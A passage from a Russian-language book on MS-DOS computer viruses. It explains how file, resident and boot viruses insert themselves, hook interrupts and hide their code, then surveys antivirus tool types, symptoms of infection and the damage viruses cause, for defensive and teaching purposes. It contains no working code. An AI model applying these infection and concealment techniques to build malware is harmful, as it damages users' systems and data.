новка даты создания файла, отличающейся от текущей. Для блокирова-
ния этих шагов обычно используются различные резидентные программы
(см. ниже). Кроме того, если на шаге 4 вирус использует для марки-
ровки зараженных файлов легко воспроизводимый признак (например,
простановку в поле даты значения 62 секунды у излюбленный признак
для файловых вирусов), можно блокировать его распространение, при-
своив этот признак всем заражаемым данным вирусом файлам. Этот
прием используется так называемыми программами-вакцинами (см. ни-
же).
Вставка тела вируса при заражении может выполняться не только в
хвост. Код вируса может имплантироваться в начало, конец или сере-
дину файла.
1) Вставка в начало файла. В этом случае первые блоки (или все
тело) заражаемой программы обычно переписываются в конец, поэтому
до передачи управления зараженной программе вирус должен предвари-
тельно переписать эти блоки (или все тело) на первоначальное мес-
то, заменив ими собственный код. С этой целью вирус должен переме-
стить свое тело или хотя бы соответствующую часть своего кода та-
ким образом, чтобы она не была затерта в процессе операции переза-
писи. Некоторые примитивные вирусы, записываясь в начало заражае-
мого файла, не сохраняют его содержимого. При этом, естественно,
зараженный файл уничтожается, а вирус, получив управление, должен
как- то замаскировать тот факт, что вызываемая программа является
неработоспособной. Для этой цели иногда используется какое-нибудь
подходящее сообщение об ошибке.
2) Вставка в конец файла. При этом необходимо обеспечить переда-
чу управления коду вируса до начала работы зараженной программы.
Для файлов типа COM это обеспечивается заменой нескольких первых
байтов программы (обычно трех в соответствии с размером кода ко-
манды перехода микропроцессора 8088/8086) на команду перехода к
началу вируса (инсталлятору). При этом сами первые байты обяза-
тельно должны быть сохранены где-то в теле вируса, что обеспечива-
ет возможность их восстановления (операция поиска этих трех байтов
является составной частью работы любого фага). Когда инсталлятор
вируса получает управление, то обычно в начале своей работы он
восстанавливает измененные вирусом байты в первоначальном виде.
3) Вставка в середину файла. Этот способ заражения файла встре-
чается редко. Во-первых, этот способ используется узкоспециализи-
рованными вирусами, поражающими определенный класс программ, осо-
бенности структуры которого заранее известны, например, только
файл СOMMAND.COM. Примером такого вируса может служить вирус RC-
346 (Lehigh). Во-вторых, и это гораздо более частый случай, встав-
ка в середину возможна для обычных вирусов, цепляющихся к концу
EXE-файл, если в заголовке этого файла неправильно указана его
длина, т.е. часть файла используется в качестве буфера или
неявного оверлея, как например, в головном модуле системы FOXBASE.
В этом случае вирус считает, что файл имеет длину, указанную в за-
головке, и записывает свой код в область буфера или оверлея. При
этом он оказывается в середине действительно занимаемого данной
программой файла. В-третьих, файл может быть заражен несколькими
вирусами, однотипно заражающими файл (обычно дописывающими свой
код в конец файла). В этом случае, вирус первым заразивший данный
файл, оттесняется к середине файла последующими вирусами. Являясь
сравнительно редкими, указанные случаи довольно часто не учитыва-
ются создателями антивирусных программ, в частности, детекторов и
фагов, которые увлекаясь оптимизацией времени выполнения своих
программ, принимают неправильные допущения о расположении кода ви-
руса в теле зараженной программы. В результате файл может быть не
детектирован как зараженный или вылечен неправильно.
2.4.2. Структура файлового резидентного вируса
Для понимания функционирования файлового вируса необходимо неко-
торое знакомство с системой прерываний компьютера типа IBM PC. Ми-
нимальные необходимые сведения приводятся в приложениях 8 и 9.
Файловые резидентные вирусы, помимо отдельных файлов, заражают,
если так можно выразиться, и память компьютера. Предельно упрощая,
память компьютера можно рассматривать как еще один файл, который
можно заражать, дописываясь в голову, т.е. в область младших ад-
ресов свободного участка памяти, в хвост, т.е. в область старших
адресов свободного участка памяти и наконец, в середину, т.е. в
область адресов, уже используемых операционной системой или какой-
нибудь программой (старшие адреса вектора прерываний, буфера и
т.д.).
Вместе с тем, структура резидентного вируса существенно отлича-
ется от структуры нерезидентного вируса. Резидентный вирус можно
представлять как состоящий из двух относительно независимых час-
тей: инсталлятора и модуля обработки прерываний. Последний, в свою
очередь, состоит из ряда программ обработки. Несколько упрощая,
можно считать, что на каждое перехватываемое прерывание приходится
своя программа обработки.
Инсталлятор получает управление при выполнении зараженной про-
граммы и играет роль своеобразной ракеты-носителя, запускающей ви-
рус на орбиту, т.е. в оперативную память. Он отрабатывает один
раз у после запуска зараженной программы и его целесообразно рас-
сматривать как специализированный файловый вирус, заражающий опе-
ративную память и, возможно, обычные файлы. В последнем случае ин-
сталлятор можно рассматривать как доработанный для заражения опе-
ративной памяти файловый вирус. Структуру инсталлятора можно упро-
щенно представить следующим образом:
Шаг 1: Проверить версию MS DOS
Шаг 2: Восстановить измененные байты зараженной программы.
Шаг 3: Проверить зараженность оперативной памяти. Если память
заражена, то передать управление программе-вирусоносителю, иначе
перейти к шагу 4.
Шаг 4: Закрепиться в оперативной памяти. Переписать свое тело в
заданный участок оперативной памяти и выполнить некоторые действия
по закреплению этого участка за собой.
Шаг 5: Перехватить требуемые прерывания. Заменить адреса в соот-
ветствующих элементах вектора прерываний на адреса своих программ
обработки.
Шаг 6: Передать управление зараженной программе.
Приведем некоторые пояснения к упрощенной схеме инсталлятора
файлового вируса. На шаге 3 инсталлятор, подобно обычному файлово-
му вирусу, каким-то образом определяет зараженность оперативной
памяти. Эта проверка может выполняться самыми разнообразными спо-
собами. Одним из наиболее распространенных является введение неко-
торого нового прерывания или функции существующего прерывания. Ин-
сталлятор выдает это прерывание, и получаемый ответ, например 5555
в регистре AX, играет роль сигнала память заражена и память еще
не заражена, своеобразный аналог 62 секунд для нерезидентных фай-
ловых вирусов. Второй способ состоит в сканировании памяти и по-
иске сигнатуры, характерной для данного вируса. Поиск может начи-
наться с определенной, характерной точки, например, с адреса пере-
хватываемого вирусом прерывания (обычно 21). Могут быть использо-
ваны и другие способы или их комбинация.
Если проверка показала, что память еще не заражена, то на шаге 4
вирус выполняет ее заражение. Как уже указывалось, заражение может
производиться как путем записывания тела вируса на участок свобод-
ной памяти, так и вписыванием тела в уже используемый участок. В
первом случае вирус должен обеспечить резервирование этой памяти,
чтобы она не была затерта другими программами. Простейшие вирусы
выполняют это с помощью функций 21-31 или 27 MS DOS. Такие вирусы
видны при просмотре списка резидентных программ утилитами типа
MAP, MEMANAL и т.д. Более сложный способ предполагает манипуляцию
с цепочкой блоков MCB (см. прил.7): вирус сам создает дополнитель-
ный блок MCB для захваченного участка памяти.
После закрепления в оперативной памяти инсталлятор выполняет так
называемый перехват прерываний у обеспечение передачи управления
модулям вируса, обрабатывающим соответствующие прерывания. Это мо-
жет делаться в лоб, т.е. путем использования соответствующих
функций MS DOS или с черного хода у нестандартным способом,
обеспечивающим, в общем случае, более высокую степень маскировки.
При любом способе конечный эффект состоит в том, что при возникно-
вении определенного прерывания вирусу будет передаваться управле-
ние. При этом вирус может содержать дополнительный механизм, обес-
печивающий то, что он будет получать управление всегда первым. Та-
кие резидентные вирусы будем называть всплывающими. Всплытие помо-
гает вирусу обходить простейшие программы-сторожа, основанные на
перехвате тех же прерываний, поскольку они будут получать управле-
ние после вируса. Этот способ использует, в частности, вирус RCE-
1800 (Эдди). Отсюда следует, что анализ списка резидентных про-
грамм и объема памяти, сообщаемого MS DOS, является весьма полез-
ным диагностическим приемом, применимым как при анализе многих ре-
зидентных файловых вирусов, так и при анализе бутовых вирусов. Су-
ществует целый ряд программ, выдающих список резидентных программ.
Автор рекомендует использовать для этой цели программу RELEASE,
которая являясь резидентной, не только позволяет получить этот
список в любой момент, но дает возможность снять ненужные резиден-
тные программы. Сведения об объеме оперативной памяти (установлен-
ной и свободной) проще всего получить с помощью программы CHKDSK,
вxодящей в MS DOS (она также выдает очень важные сведения об объе-
ме памяти, занятой сбойными кластерами, и количестве скрытых фай-
лов), хотя имеется целый ряд других программ с аналогичными функ-
циями (SMAP, MEMANAL, MEMSTAT и др). В случае наличия опасности
заражения вирусом полезно включить вызов CHKDSK в файл
AUTOEXEC.BAT, а за ним поместить строку с данными, которые получе-
ны при загрузке на незараженной системе, например:
c:\dos\chkdsk
echo ПРОВЕРЬТЕ СООТВЕТСТВИЕ ПОЛУЧЕННЫХ ЗНАЧЕНИЙ ЭТАЛОННЫМ !
echo 188416 in 8 hidden, 61440 in bad, 655360 totalmem, pause
515424 free memory
Функционирование резидентного файлового вируса можно представить
как две стадии: стадию инсталляции и стадию слежения. При запуске
зараженной программы управление получает инсталлятор, который
обеспечивает закрепление вируса в оперативной памяти, перехват
требуемых прерываний и, возможно, маскировку (с целью затруднить
свое обнаружение среди резидентных программ). Эта фаза работы ре-
зидентного вируса получила название фазы инсталляции. В дальнейшем
каждый раз при возникновении одного из перехваченных вирусом пре-
рываний управление получает один из модулей обработки соответству-
ющего прерывания. При этом вирус может анализировать поступивший
запрос и, в зависимости от его вида, выполнять те или иные дейст-
вия. Например, загрузка программы в оперативную память и ее выпол-
нение в MS DOS реализованы с помощью прерывания 21-2B. Если вирус
перехватывает это прерывание, то он может определить имя файла, из
которого выполняется загрузка, и заразить программу в этом файле.
Следует также отметить, что способ поиска жертвы у резидентных
вирусов существенно отличается от способа, используемого нерези-
дентными вирусами. Нерезидентные вирусы получают управление после
загрузки в память зараженной программы, а затем ищут файл-жертву,
используя параметры PATH, СOMSPEC или другую информацию о располо-
жении выполняемых программ. Если жертва найдена, то она заражает-
ся, а затем управление возвращается зараженной программе. Резиден-
тные вирусы реагируют на определенные прерывания. Получив управле-
ние после перехваченного прерывания, они выполняют соответствующие
действия. Как уже указывалось, обычно резидентные файловые вирусы
выполняют заражение запускаемых программ (по прерыванию 21-4B),
однако наиболее инфицирующие из резидентных вирусов заражают файлы
при их открытии или чтении. Например, вирус RCE-1800, кроме ука-
занных действий перехватывает и прерывания по чтению, заражая, в
частности, оба файла, копируемые командой COPY, если хотя бы один
из них имеет расширение ЕХЕ или СОМ.
2.4.3. Структура бутового вируса
Бутовые вирусы являются весьма специализированной разновидностью
резидентных файловых вирусов. Упрощенно бутовый вирус можно пред-
ставить себе как специализированный резидентный вирус, который за-
ражает единственный файл у загрузочный сектор гибкого или жест-
кого диска. Четкой границы между резидентными файловыми вирусами и
бутовыми вирусами не существует: в последнее время появились гиб-
риды, сочетающие заражение файлов с заражением бутсектора винче-
стера. Это подчеркивает близость основных принципов организации
этих двух типов вирусов.
Этот тип вирусов распространяется, инфицируя дискеты, причем как
загружаемые (т.е. содержащие копию MS DOS), так и незагружаемые
(т.е. содержащие любую информацию). Заражение незагружаемых дискет
связано с определенным психологическим расчетом, который, к сожа-
лению, слишком часто оправдывается: при перезагрузке MS DOS поль-
зователи обычно забывают проверить, вставлена ли дискета в диско-
вод A, и часто перезагрузка выполняется с вставленной в указанный
дисковод дискетой, с которой вирус и попадает на винчестер.
Инфицированная дискета всегда содержит часть кода вируса в бут-
секторе, поэтому бутовые вирусы легко обнаружить. При просмотре
бутсектора дискеты на незараженном компьютере легко видеть измене-
ния загрузчика (дамп стандартного бутсектора приведен в прил.6).
Структура стандартного загрузчика лишь незначительно меняется от
версии к версии MS DOS, поэтому изменения легко выявить визуально
(особенно первых трех байтов, содержащих команду JMP на начало
загрузчика) или с помощью подходящей программы (Scan, Aidstest и
др.). Такая проверка должна обязательно проводиться для всех по-
ступающих дискет.
Как уже указывалось, файловые вирусы обычно состоят из одного
сегмента. Впрочем, первую команду JMP, подставляемую большинством
файловых вирусов, дописывающих свое тело в конец COM-файла, можно
рассматривать как вырожденный сегмент. Бутовый вирус всегда состо-
ит из нескольких сегментов. Обычно таких сегментов два и мы будем
называть их головой и хвостом.
Положение головы бутового вируса на дискете определено однознач-
но: она всегда расположена в бутсекторе и занимает ровно сектор.
На винчестере ситуация немного сложнее: голова бутового вируса мо-
жет располагаться в одном из его двух бутсекторов - главном (MBR -
Master Boot Record, расположенный по абсолютному дисковому адресу
0/0/1) или бутсекторе логического диска С, обычно занимающего пер-
вый сектор соответствующего логического диска. Для наиболее рас-
пространенных 40 M винчестеров это обычно абсолютный сектор 18
(при 17 секторах на трек его адрес равен 1/0/1).
Хвост бутового вируса может располагаться в разных местах, на-
пример: кластерах, отмеченных на диске как сбойные и тем самым ис-
ключенных из дальнейшего распределения (псевдосбойные кластеры);
последних физических секторах дискеты или винчестера, поскольку
они обычно всегда свободны (например, 40/39/8 для обычных 360К ди-
скет); в неиспользуемых блоках FAT, главного каталога или одного
из подкаталогов; дополнительных дорожках дискеты или винчестера
(41 и последующие дорожки для 360К дискет).
В любом случае хвост вируса должен содержать копию оригинального
бутсектора, и если она хранится не в закодированном виде, то поло-
жение хвоста в большинстве случаев можно определить глобальным
контекстным поиском по дискете или винчестеру (исключением являет-
ся случай использования для хвоста дополнительных дорожек на дис-
кете или винчестере). В минимальном варианте хвост может состоять
только из одного сектора с оригинальным бутсектором.
Для всех бутовых вирусов механизм заражения однотипен. Когда MS
DOS загружается с зараженного диска, бутовый вирус получает управ-
ление и сначала копирует себя в старшие адреса памяти. Затем он
уменьшает размер памяти, заменяя значение вектора прерываний A2h с
тем, чтобы защитить резидентную часть вируса, и 13h с тем, чтобы
перехватывать обращения к диску. Таким образом, при любом обраще-
нии к диску управление получает обработчик этого прерывания, со-
ставляющий основную часть тела вируса. После этих действий вирус
запускает стандартный системный загрузчик, который загружает
IBMBIO.COM и IBMDOS.COM (или IO.SYS и MSDOS.SYS), т.е. происходит
стандартная загрузка системы.
Получив управление по прерыванию по чтению, вирус анализирует,
относится ли оно к дискете или к винчестеру. Если это прерывание
относится к дискете, то сначала вирус проверяет, заражена уже дан-
ная дискета или нет. Для этой цели считывается бутсектор и прове-
ряется его содержимое. Если дискета еще не заражена, то вирус за-
ражает дискету, а затем обрабатывает команду READ. В случае, если
дискета уже заражена, вирус сразу переходит к обработке команды
READ; так же он поступает в случае, если дискета защищена от запи-
си.
Что касается места, в котором бутовый вирус прячет свой хвост,
то как было отмечено выше, оно различается от вируса к вирусу.
Наиболее часто бутовые вирусы размещают свой хвост в свободном
кластере(ах), который помечается как сбойный. Последнее необходимо
для того, чтобы занятый вирусом кластер(ы) не был использован MS
DOS при создании нового файла и вместе с тем является неплохим ме-
тодом маскировки, поскольку пользователи обычно плохо представляют
структуру диска и не следят за количеством сбойных кластеров на
нем.
Еще раз подчеркнем, что бутовые вирусы инфицируют любые дискеты,
а не только системные. Как уже указывалось, это связано с тем, что
с несистемной дискеты также может выполняться попытка загрузки MS
DOS. Чаще всего такая ситуация возникает после зависания операци-
онной системы. Если при перезагрузке инфицированная дискета ока-
жется в готовом дисководе А, то естественно, загрузка будет сна-
чала выполняться с нее. В этом случае программа начальной загрузки
считывает зараженный ВООТ и передает ему управление. Вирус загру-
жает себя в оперативную память и имитирует сообщение, выдаваемое в
этом случае стандартным загрузчиком:
Non system disk
При этом, если пользователь откроет дисковод с дискетой и нажмет
клавишу Enter (Ввод), то вирус останется в памяти, заразит винче-
стер и в дальнейшем будет заражать все вставляемые дискеты, к ко-
торым производится хотя бы одно обращение (достаточно команды
DIR). Все бутовые вирусы перехватывают 13 прерывание (см. прил. 8)
и поэтому обычно конфликтуют с драйверами, поддерживающими нестан-
дартные форматы (например, 720 K). В лучшем случае при этом проис-
ходит зависание системы или выдача сообщения о делении на нуль. В
худшем случае операционная система остается работоспособной, на
дискету что-то пишется, но потом ничего прочитать с нее нельзя.
Особое внимание стоит обратить на тот факт, что некоторые бутовые
вирусы перехватывают прерывание с клавиатуры и могут пережить в
оперативной памяти мягкую перезагрузку (т.е. перезагрузку с по-
мощью нажатия клавиш Ctrl-Alt-Del). Из выявленных в CCCР вирусов к
этому типу относится вирус WM-1F (Joshy).
Как уже отмечалось, голова бутового вируса всегда находится в
бутсекторе и для контроля дискет на зараженность можно просто про-
смотреть содержимое бутсектора. В целом даже это не является необ-
ходимым. Поскольку подавляющее большинство дискет не является за-
гружаемыми, можно профилактически разрушать содержимое бутсектора
таких дискет. В частности, там можно хранить информацию о времени
и источнике получения дискеты или какие-то указания по ее исполь-
зованию. Достаточно разрушить первые три байта бутсектора, чтобы
нейтрализовать любой бутовый вирус. Это можно сделать с помощью
программ Norton Utilitis, PC Tools и DEBUG. Для профилактического
разрушения бутсектора можно использовать специальную утилиту, на-
пример, DEBOOT В.Пономаренко.
Следует отметить, что число известных чисто бутовых вирусов на-
много меньше, чем файловых и, кроме того, скорость их размножения
ниже (число дискет заведомо меньше, чем количество файлов на них).
В целом, заражение чистым бутовым вирусом является признаком
беспечности и недостаточной квалификации пользователя в значитель-
но большей степени, чем заражение файловым вирусом. При соблюдении
приведенных выше несложных рекомендаций его можно полностью исклю-
чить.
2.5. Панацеи не существует
(общая классификация средств защиты)
Специалист подобен флюсу,
полнота его одностороння
Козьма Прутков
Операционная система MS DOS, отличающаяся практически полным от-
сутствием защиты от несанкционированных действий, облегчает разра-
ботку компьютерных вирусов. Однако важно понимать, что компьютер-
ные вирусы не являются программами, использующими ошибки или недо-
статки конкретной операционной системы. Для обеспечения своего
функционирования вирусу достаточно лишь нескольких вполне обычных
операций, используемых большинством нормальных программ. Поэтому
принципиально не может существовать универсальный метод, защищаю-
щий операционную систему от распространения любого вируса. Тем не
менее, можно существенно затруднить задачу создания вируса, приме-
няя специальные методы как в самой операционной системе, так и ис-
пользуя дополнительные резидентные и нерезидентные средства защи-
ты.
Простейшим средством защиты от вируса является программа, позво-
ляющая составить список зараженных программ. Мы будем называть та-
кую программу детектором. В качестве детектора могут использовать-
ся и имеющиеся программы, способные выполнять поиск строки в файле
или, желательно, в файлах на заданном диске или каталоге. Детектор
может быть и резидентным. В этом случае после загрузки программы
он проверяет ее на зараженность и, только если вирус не обнаружен,
передает ей управление.
Вторым и наиболее распространенным средством защиты от вирусов
являются так называемые фаги у программы, выкусывающие вирус из
зараженной программы и тем самым восстанавливающие ее в виде,
близком к первоначальному. Операция выкусывания не всегда бывает
успешной. Фаги также могут быть резидентными, однако из-за значи-
тельного объема резидентные фаги встречаются редко.
Третьим видом антивирусных программ являются резидентные про-
граммы, контролирующие подозрительные действия запускаемых про-
грамм и блокирующие их либо молча, либо выдавая сообщение поль-
зователю, который может разрешить действие или запретить (в по-
следнем случае программа, предпринявшая опасное действие, может
закончиться аварийно). Будем называть такие программы сторожами.
При этом дисковые драйверы, обеспечивающие возможность сегментации
винчестера и присваивания отдельным разделам статуса READ ONLY,
можно рассматривать как специальную разновидность сторожей.
Четвертый тип у это программы-ревизоры, которые подсчитывают
контрольные суммы и другие параметры файлов и сравнивают их с эта-
лонными. Последние обычно хранятся в отдельном файле. Этот вид
контроля представляется наиболее надежным, т.к. при отсутствии в
оперативной памяти резидентного компьютерного вируса позволяет вы-
явить все измененные программы независимо от причины, вызвавшей
эти изменения. Подобно остальным типам программ ревизоры могут
быть резидентными. Последние загружают в память программу, подсчи-
тывают ее контрольную сумму и, если она совпадает с записанной в
специальном поле файла или элемента каталога данного файла, то пе-
редают ей управление. В противном случае выдается предупреждающее
сообщение, и выполнение программы блокируется. Следует отметить,
что если записать зараженную программу в файловую систему, все ос-
тальные файлы которой систематически контролируются ревизором, то
наличие вируса может быть выявлено по заражению других программ
для большинства, но не для всех типов вирусов. Поэтому очень важ-
но, чтобы в момент запуска программы-ревизора было достоверно из-
вестно, что в оперативной памяти нет резидентного вируса. Этого
можно достичь, загрузившись с эталонной, защищенной от записи, ди-
скеты или разместив все компоненты операционной системы в разделе
винчестера, имеющего статус READ ONLY. Более подробно вопросы при-
менения антивирусных средств рассмотрены в главе 10.
И, наконец, наиболее изощренным типом антивирусных программ яв-
ляются так называемые вакцины. Подобно естественным вакцинам они
изменяют среду функционирования вируса таким образом, что он теря-
ет способность к размножению. Вакцины могут быть пассивные или ак-
тивные.
Пассивная вакцина представляет собой пакетную программу, которая
за один вызов обрабатывает специальным образом файл или все файлы
на диске либо в каталоге. Обычно при такой обработке проставляется
признак, который вирус использует для того, чтобы отличить зара-
женные программы от незараженных. Например, некоторые вирусы допи-
сывают в конец зараженных файлов определенную строку (скажем,
MsDos). Если искусственно дописать в конец всех программ эту
строку, то такие программы не будут заражаться вирусом, поскольку
он будет считать, что они уже заражены. Обработанная таким образом
программа является вакцинированной против данного вируса, причем
операция вакцинации является обратимой: когда опасность заражения
будет ликвидирована, строку можно из файла удалить. Другие вирусы
проставляют в поле даты заражаемых программ значение секунд, рав-
ное 62 (MS DOS допускает запись такого явно нереального значения).
Вакцина может проставить этот признак у всех выполняемых программ,
которые тем самым будут защищены от заражения данным типом вируса.
В этом случае вакцинирование является необратимым в том смысле,
что восстановить первоначальное значение секунд не удастся, хотя
они, конечно, могут быть сброшены.
Активные вакцины являются резидентными программами, действие ко-
торых обычно основано на имитации присутствия вируса в оперативной
памяти. Поэтому они обычно применяются против резидентных вирусов.
Если такая вакцина находится в памяти, то когда при запуске зара-
женной программы вирус проверяет, находится ли уже в оперативной
памяти его копия, вакцина имитирует наличие копии. В этом случае
вирус просто передает управление программе-хозяину, и его инстал-
ляция не происходит. Простейшие вакцины представляют собой выде-
ленный и слегка модифицированный (лишенный способности к размноже-
нию) вирус. Поэтому они могут быть оперативно изготовлены, быст-
рее, чем программы-фаги. Более сложные вакцины (поливакцины) ими-
тируют наличие в оперативной памяти нескольких вирусов.
Конечно, приведенный список не исчерпывает всего многообразия
антивирусных программ, хотя и охватывают основные их разновидно-
сти. Каждая из антивирусных программ подобна узкому специалисту в
определенной области, поэтому оптимальной тактикой является комп-
лексное применение нескольких типов антивирусных средств. Более
подробно вопросы применения антивирусных средств рассмотрены в
главе 10. Список отечественных антивирусных средств, распространя-
емых бесплатно и опубликованных в бюллетене СОФТПАНОРАМА, приведен
в прил. 5.
2.6. Жизненный цикл компьютерных вирусов
Где начало того конца,
которым оканчивается начало ?
Козьма Прутков
Следует различать два основных действия (фазы), выполняемые ком-
пьютерным вирусом: размножение и проявление. Размножение обычно
является первым и обязательным действием вируса при получении им
управления. Фаза проявления, на которой выполняются несанкциониро-
ванные действия, может чередоваться с размножением, начинаться
через определенный (инкубационный) период или при сочетании неко-
торых условий. Она может заключаться в изощренных визуальных или
звуковых эффектах, включать или исключительно состоять из нанесе-
ния повреждений файловой системе. Повреждения могут быть массиро-
ванными, когда например, стирается FAT и другие системные блоки,
или наоборот, распределенными, когда довольно часто выполняются
небольшие, трудно обнаруживаемые повреждения. У ряда вирусов фаза
проявления отсутствует, т.е. помимо размножения они никаких несан-
кционированных действий не выполняют. В то же время, любой вирус
обладает рядом побочных эффектов, которые не были предусмотрены
при создании вируса, но которые фактически относятся к его прояв-
лениям. Наиболее частым побочным эффектом является зависание опе-
рационной системы или потеря работоспособности некоторых (чаще
всего резидентных) программ. Другим важным побочным эффектом явля-
ется появление некоторых необъяснимых сообщений операционной
системы. Например, если при попытке запуска программы с защищенной
дискеты появлется хорошо знакомое любому пользователю MS DOS со-
общение Abort, Retry..., то это должно настораживать.
Наряду с указанными действиями, вирус может обладать определен-
ной латентной фазой, в течение которой никаких действий по своему
размножению или проявлению не предпринимается. Латентная фаза мо-
жет быть обусловлена определенным временным периодом (например,
определенным месяцем или годом), конфигурацией (например, вирус
может активизироваться только при попадании на винчестер) или ап-
паратными особенностями (например, только на клонах IBM PC).
Длина пути от первоначально зараженной программы до программы, в
которой этот вирус был впервые обнаружен, может быть довольно
большой. Практика показывает, что обычно в качестве первичного но-
сителя вируса выступает популярная игровая программа или новая
версия популярного программного продукта. Вопросы использования
программных средств, затрудняющих или делающих невозможным размно-
жение вируса, рассматриваются ниже.
2.7. Среда обитания вирусов
Как уже указывалось выше, структурно компьютерный вирус можно
представить состоящим из двух частей: головы и хвоста.
Поскольку голова вируса так или иначе должна получить управле-
ние, среда обитания головы компьютерного вируса может распола-
гаться только в прямо или косвенно исполняемых программах. Не сле-
дует бояться, что вирус может быть перенесен через файл данных.
Применительно к MS DOS для получения управления вирус должен
встроить свою голову в: загрузочные модули, такие как СOM-файлы,
EXE-файлы, оверлейные фазы сегментированных программ (это наиболее
распространенный случай и соответствующий тип вирусов будем назы-
вать файловыми); бутсектор (этот случай также встречается доста-
точно часто и соответствующие вирусы будем называть бутовыми);
таблицу разделов винчестера (Partition Table), в начале которой
содержится так называемый Master Boot (фактически это частный слу-
чай предыдущего и такая стратегия заражения может использоваться
только применительно к винчестеру, т.е. комбинироваться с предыду-
щей); драйвер; объектный модуль; библиотеку компилятора; BAT-
файл; исходный текст программы на алгоритмическом языке (в расчете
на его компиляцию); промежуточный код некоторого достаточно рас-
пространенного интерпретируемого языка, например dBASE или
CLIPPER. Поэтому необходим постоянный контроль за целостностью ин-
формации, содержащейся в элементах перечисленных типов. Проще все-
го этот контроль выполнять с помощью специальной программы-ревизо-
ра.
Что касается места, где вирус может расположить свою голову, то
для существующих вирусов характерны следующие: область стека неко-
торой системной программы (RC-0-346); начало, конец или середина
исполняемого файла; бутсектор; MBR.
Поскольку хвост вируса не должен получать управление непосредст-
венно, количество мест его расположения существенно больше и здесь
многое зависит от изобретательности автора вируса. Сегментация в
настоящее время характерна только для бутовых вирусов, и примени-
тельно к ним можно отметить следующие варианты расположения
хвоста: один или группа кластеров, помеченных как сбойные (самый
распространенный вариант); неиспользуемые блоки нулевой дорожки
винчестере после MBR; неиспользуемые блоки системных таблиц, таких
как FAT, главный каталог или один из подкаталогов и т.д.; специ-
ально созданный файл с атрибутами HIDDEN и/или SYSTEM; хвосты
последних, заполненных частично, кластеров имеющихся файлов (на-
пример, системных); дополнительные дорожки на дискете или винче-
стере (например, 40 и более старшие дорожки дискеты).
Для файловых вирусов сегментация может использоваться для разме-
щения хвоста в неиспользуемых секторах последнего кластера файла,
однако такой способ в настоящее время применяется только в вирусе
RC-0-512 и, как оказалось, обладает существенными недостатками. В
частности, команда COPY MS DOS не копирует информацию из неисполь-
зуемых секторов последнего кластера. В результате при копировании
зараженного файла хвост вируса теряется и скопированная программа
становится неработоспособной.
2.8. Симптомы заражения
Если на клетке слона прочтешь над-
письбуйвол, не верь глазам своим
Козьма Прутков
Существуют определенные признаки, указывающие на поражение про-
граммы или диска вирусами. Помимо очевидных, связанных с демонст-
рационным эффектом, характерным для данного вируса, к ним можно
отнести следующие: изменение длины командного процессора
(COMMAND.COM); выдача сообщений типа WRITE PROTECT ERROR при чте-
нии информации, при загрузке программ с защищенных от записи дис-
кет; изменение длины и/или даты создания программы (их рекоменду-
ется просматривать с помощью Norton Commander или другой оболочки,
непосредственно интерпретирующей содержимое каталогов); программа
выполняется медленнее, чем обычно; возрастание времени загрузки,
зацикливание при загрузке; необъяснимые обращения к дискетам или
файлам на защищенных разделах винчестра; потеря работоспособности
некоторых резидентных программ или драйверов; аварийное завершение
ранее нормально функционировавших программ; необъяснимые зависания
или перезагрузки системы; уменьшение объема системной памяти или
свободной памяти после загрузки. Резкое уменьшение доступной дис-
ковой памяти, хотя файлы не добавлялись и не удалялись; появление
новых сбойных кластеров, дополнительных скрытых файлов или других
изменений файловой системы (выявляются запуском CHKDSK или другой
подходящей утилиты);
Конечно, приведенные признаки носят эвристический характер и мо-
гут наблюдаться на здоровых компьютерах по причинам, совершенно
не связанным с вирусами. Тем не менее, появление каких-то аномалий
должно сразу настораживать пользователя. Если после перезагрузки с
защищенной дискеты некоторые из этих признаков исчезают, то есть
смысл провести более или менее полное тестирование с помощью про-
граммы ревизора (только не при загруженной с винчестера и возможно
зараженной операционной системе), а также визуально сравнить со-
держимое бутсектора и таблицы разделов с эталонными. Полезно также
просмотреть дамп программы (с помощью Norton Commander, PC Shell
или другой подходящей утилиты). Если в конце программы имеются по-
дозрительные текстовые строки или, наоборот, нет ни одной тексто-
вой строки, то такая программа заслуживает дополнительного иссле-
дования.
2.9. Вызываемые вирусами эффекты
Однажды мои соседи обнаружили
у себя в квартире странные явле-
ния: каждую ночь что-то упорно
шелестело в мусорном ведре, и
каждое утро отходы обнаруживались
в самых не подходящих местах.
Стали исчезать картошка, лук...
Крысы! - мелькнула догадка.
Газета Красная Пресня,
апрель 1990 г.
Как уже указывалось, компьютерные вирусы являются одной из раз-
новидностей компьютерного вандализма. Вызываемые вирусами эффекты
могут быть классифицированы по следующим основным категориям:
1) отказ в выполнении той или иной функции (например, блокирова-
ние вирусом RС-1701 загрузки программы с защищенной от записи дис-
кеты);
2) выполнение действий, не предусмотренных программой (например,
изменение данных в каком-то файле);
3) разрушение отдельных файлов, управляющих блоков или всей фай-
ловой системы в целом (форматирование диска, удаление файла и
т.д.);
4) выдача ложных, раздражающих или отвлекающих сообщений
(например, Скажи бебе или Non system disk);
5) создание звуковых или визуальных эффектов (например, падение
букв в вирусе RС-1701, замедление выполнения программ в вирусе
RСЕ-1813, проигрывание мелодии в RCE-1805, движущийся на экране
ромбик в Bx1-1C и т.д.);
5) инициирование ошибок или сбоев в программе или операционной
системе (например, переполнение стека), перезагрузка или зависание
MS DOS;
6) блокирование доступа к системным ресурсам (разрастание зара-
женных файлов за счет их многократного повторного заражения, не-
возможность передать зараженной программе параметры, замедление
работы компьютера путем выполнения холостого цикла из нескольких
команд при каждом прерывании таймера);
7) имитация сбоев аппаратуры (перевод части кластеров в псевдо-
сбойные на дискете или винчестере, зависание ЭВМ через некоторое
время после перезагрузки операционной системы и т.д.);
8) ускорение износа оборудования или попытки его порчи.
Наносимый вирусами ущерб может иметь катастрофический характер
(например, уничтожение винчестера) в сочетании с длительным инку-
бационным периодом или, наоборот, вирус может наносить мелкие,
трудно обнаруживаемые повреждения данных, выполняемые достаточно
часто. Последние гораздо труднее обнаружить и поэтому, в отличие
от распространенного мнения, они намного опаснее массированного
разрушения данных.
Наиболее уязвимой частью файловой системы DOS является FAT (таб-
лица размещения файлов). Если FAT разрушен, то DOS не в состоянии
определить местонахождение того или иного файла, хотя сами файлы
не повреждены. Вирус может также выполнять форматизацию некоторых
участков диска, содержащих системные данные. Поэтому необходимо
достаточно часто дублировать управляющие данные файловой системы
на другой, заранее известный участок диска или дискету. Для этой
цели, в частности, можно использовать Norton Utilities, а также
Mirror из пакета PC Shell.
На компьютерах типа АТ данные о конфигурации системы (тип уста-
новленного винчестера и др.) хранятся в небольшой энергонезависи-
мой памяти (CMOS). Уничтожение содержимого CMOS-памяти приводит к
невозможности загрузиться с винчестера. Восстановление CMOS требу-
